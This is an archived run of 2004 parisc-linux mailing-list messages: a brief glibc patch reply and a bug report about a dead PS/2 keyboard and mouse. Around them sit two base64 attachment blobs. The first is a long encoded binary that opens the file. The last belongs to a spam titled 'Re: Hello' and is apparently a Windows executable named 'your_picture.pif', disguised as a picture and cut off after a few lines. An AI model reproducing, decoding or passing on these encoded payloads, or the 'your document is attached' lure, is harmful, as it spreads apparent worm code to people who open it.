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
TJBk+ZJsaVimQDCa6Gn4pgQYmjBpKKZQRJpMaViSoCZNtJg0jNP0TeCsNETTWE1oaDQYGQA2
EFiF7Gc/YcncssjETaxcNGjTdE2csDSg0NBk/NPITNQ8vJMQDk0AcDRY0zhN2IA0pMlQ2SZQ
UJpQaXCmcHCacGlQplBQmlBpsKawsJqwadCm0NCa0GnwpvDwmvBp0IgyfUamPTiaS2lOpkFE
ml9pWqZVUJpzaXameXyaZ2lipm1omptpnqaRlJqPYLGIk5fEBIWLjYX/QK78uq6tuQa0vrCw
/bqA0U2sv0W7iq+iWdJ2jKLDfOHBydG3AoPOzs/0gqiRcwEj1+ayfYi5AoQODNFy1RcLDyg6
LAgofpgb2wAjKSYxDy4nLzR80Um3AHNcT0tbTlKi0VNLR8P6YGcCZHpwZnFlD1nNMNvukGeB
koBipYaYLj325UoNng+tEWegi1RQ2kSx9Ybw2sZWwMhpillJ8vVOCOWNMjwZtVUqDjaJacAT
Eg0JPK3ENTRpNAA5I2EaPCU8L74sM+DNgxsdGB3fFulAzy30YWIccWhrwOXtlaaxjJWQYZ4e
hZerTZo6oA05uf4zTzxasQ2X8moqvaPD9MTStM79MTTHP0yzzv0xKDHP0/PFv0/PFrgBKTGN
UWITs/db7VdmBviPudb0BM/UqGCZeaGvUJc8ub3xwbilrxewsLShxb9kM8upPo8bDG6kxzbE
odqWWe9jKB7znyEWVtnfviWmN3pi1pCjNYcdn0jmoXdzZDdvmZ5suLDNM8WCk7Sns/Oa58wX
vbGtruG3FvmbouXXwWUryvdcvZrQ9jzRR9zdaUqb+ppKxMQfoNL3+AVzz+M6K+ARUfn9hPCu
QuE4CQ427UUUdPhQ0wRVYm3VyLefXKtpPxXt6jroZ+SzcW/vAUIlMGVpUWx+fkZBc1taU2om
FXfyRmkMIC0cGhgaAhwSEBIcGpdCDnt2adzo9HF8sfM+fDxBanViCt8TX8cBi4yVCZMUhyK+
ugnadjh4jriVKuOAytfThXjr0xwd2QFj9nLIY8iJngbn+hz6pMj/8uLJ5kEGOiAgJ1QyNPAw
QzFDmlqw1EtAV0xQVm9wbWXjaW5jMWFriZbnpHJ30nsZDBAOrR+1Be00BxvGqPDPt+USiRQu
K316Djom01oiqTo9vjI3j1Y0+slCzm/C299NLOzx5O42Q/9rO7PLDySalpup8mSTrJPZq865
48q+PFrhPQt93WzlS0FFXVrHjVLuElLeasy48cd9PjwMuO7fC9v02gtnHIpwaSsrvjw7rRk+
nSAxdnTKp+OWlrga7DWHft65AK+66c2UysXBYZYsk1Ch063tEM1LG8PotqmNl4c6/JeB+tzE
sf91nJX/zsMl6dLbyO7WzsOR8BnR+uPve849ho3W6uw16iTbaHTC8Ufr/LbEVSvbyCwCE99a
HPUfFmFhejkYMi8x/hpwxvh1eoznlguW46xq4sfPflOlbCQbYVpG6UJWWAgAaUUXSUZM6yFC
HgNA/5aUKCkRx1Z4Uq/aS2W7Rn89SpVcRMCgVfHc9XiY0szttoRb5QYVoqp6rfyk/esVW64N
HdMNZjbatqNW6Hve0s0dypWGs3mG8aL2zDbQVP9y75TVU130whDz0lQIzkoBVPhC11EEAiUu
KyBEBbpmPCpz8YEMfh8CHX+ynWEbMOy2Yj201Q8DqFABN92Dmhs3nVYZpxYcViaJbn7yrWRn
nZHIrZ8VgVkvr2AizbCg4eW6BSu5gFHQxJDqBOGA+Q+f/Zznn7uEexA+wVyO2Cr8Hbfsdqn0
zMevKWXedwaxzIK4ePX0yfyx6qt04VQVGrDrogcHAD+C+p/kCWvjHgocgMAKFAYBdAdSHctz
LWhyQAUGDwlkIgUQDdEMBHByOHp6zHVnxyZ0Hgk2DAv6oIQ6NUffuRVrkJxDZVOvddgAokS+
iYj1r3eohZxCJZmwEDC/tYqN5Sqp4ttFfYvJEYyCf6oimtYSnxr0hBXz69Wu/iOYg/r17e3k
vLrVuvNQ19vTlVrnxI0f7f6kBuMgheCw5vQ68BtiziuLVDYiJK5V7ecuv95FFhIRfFgADxQc
DQ8WBHMQZ/JgrLamxvqbq3wHMB1XfqCEUmRAU0NdREhXAHFMPkFEMEExOTIsNM3I6m0Ay7q+
2s+2zMQG38HArq8a3usxAN+iopi4qoyx49W9o7y8rrZG9PWcppWuqVHoifzvd5357UGO9T8e
qKrd1Mr1ZejKCyG11hDTeMJ/ya4FGVEXaCQaA2QJr3Cn0zZaAAD9ZRJRUk+Q7jUKwwsWwTxD
GJAGVZFKQxB5ZgVqBHlBgii1gu1PizACRRB2Xamxqn3AP/5hQcwScRIxNfE7xGU1yCAyigsm
nQSDIIqydwsgfLJxCyBGslsLML/kv9O+TTxTgWZutKBxmg2EUmbJjois48bT+XgcjqZ1tJ0/
sdjqX2MUyXWmLE6acGlHkqwtTVSMO2Nj3MkmplwvmhxpMKYsXJnUfiRl0/xNbsQ08MlwfSz7
fz49BPhyFfXx9qQMSPiIZRqfZ8XE3TF6BMh1doIETVQqNQGEvUIJFEfBeRRsFn547B1OZY/x
xFE54uglgybqlwj1svdOgrfzuO0VD956k8kDfS4OFv14//p9CPtKxSwqAtjS1+j+RTV9MoAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


------=_NextPart_000_0004_00002949.0000181D--




From - Thu Nov 08 21:31:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: glibc cvs: additional patche
Date: Mon, 8 Mar 2004 08:27:34 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <4045FF3900002A8A@ocpmta2.freegates.net>
References: <20040307212316.GI5139@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623246 6363 80.91.229.3 (22 Nov 2014 02:27:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Mon Mar  8 00:50:12 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 701FE4840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Mar 2004 00:50:12 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B0FV0-0001tH-00; Mon, 08 Mar 2004 08:48:30 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 8 Mar 2004 08:27:34 +0100
In-Reply-To: <20040307212316.GI5139@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Mar 2004 07:50:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21009


>I see changes required to dl-runtime.c aswell.

Oops I miss somehing,

Thanks,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Mon, 8 Mar 2004 12:03:21 +0100 (CET)
Lines: 15
Approved: news@gmane.org
Message-ID: <42526.193.161.152.244.1078743801.squirrel@www.puszczka.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623247 6365 80.91.229.3 (22 Nov 2014 02:27:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ajwalker@broadpark.no  Mon Mar  8 03:55:37 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8CB3348F3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Mar 2004 03:55:37 -0700 (MST)
Original-Received: from tolstoy.puszczka.com (47.80-202-73.nextgentel.com
	[80.202.73.47])
	by mail.broadpark.no (Postfix) with ESMTP id 9E785774F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Mar 2004 11:55:35 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 0793682EF; Mon,  8 Mar 2004 12:03:22 +0100 (CET)
Original-Received: from 193.161.152.244 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Mon, 8 Mar 2004 12:03:21 +0100 (CET)
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Mar 2004 10:55:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21010

I've a B132L running Gentoo. With 2.4 I had the PS/2 keyboard working fine
throught a Raritan Compuswitch KVM, but the mouse (wireless Intellimouse
clone - 2 buttons pluss roller/middle) was dead. Decided to try out 2.6
partly to excercise udev, but mostly in the hope that all the input layer
work and pS/2 changes would bring the mouse to life. I should probably add
that there are two more machines on the KVM - a PC running 2.6.3 which runs
the mouse and keyboard flawlessly, and another PC running 2.4.24 that also
has no problems.

To the point - 2.6.3-pa0 from Gentoo hppa-dev-kernel leaves both keyboard
and mouse dead. 2.6.4-rc1-pa2 fetched by hand does exactly the same. Some
info below:




From - Thu Nov 08 21:31:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 3dscih@hospitalsantacruz.com.br
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Hello
Date: Mon, 8 Mar 2004 08:42:32 -0300
Lines: 345
Approved: news@gmane.org
Message-ID: <20040308115144.2E3B148D3@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0011_00004A87.00000354"
X-Trace: ger.gmane.org 1416623247 6369 80.91.229.3 (22 Nov 2014 02:27:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:27 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: 3dscih@hospitalsantacruz.com.br  Mon Mar  8 04:51:55 2004
Return-Path: <3dscih@hospitalsantacruz.com.br>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from [200.177.127.2] (sipp-frame.terraempresas.com.br
	[200.177.127.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 2E3B148D3
	for <parisc-linux@parisc-linux.org>;
	Mon,  8 Mar 2004 04:51:44 -0700 (MST)
Original-Received: from no.name.available by [200.177.127.2]
	via smtpd (for dsl2.external.hp.com [192.25.206.7]) with SMTP;
	8 Mar 2004 11:25:58 UT
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Mar 2004 11:51:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21011

This is a multi-part message in MIME format.

------=_NextPart_000_0011_00004A87.00000354
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Your document is attached.

------=_NextPart_000_0011_00004A87.00000354
Content-Type: application/octet-stream;
	name="your_picture.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="your_picture.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
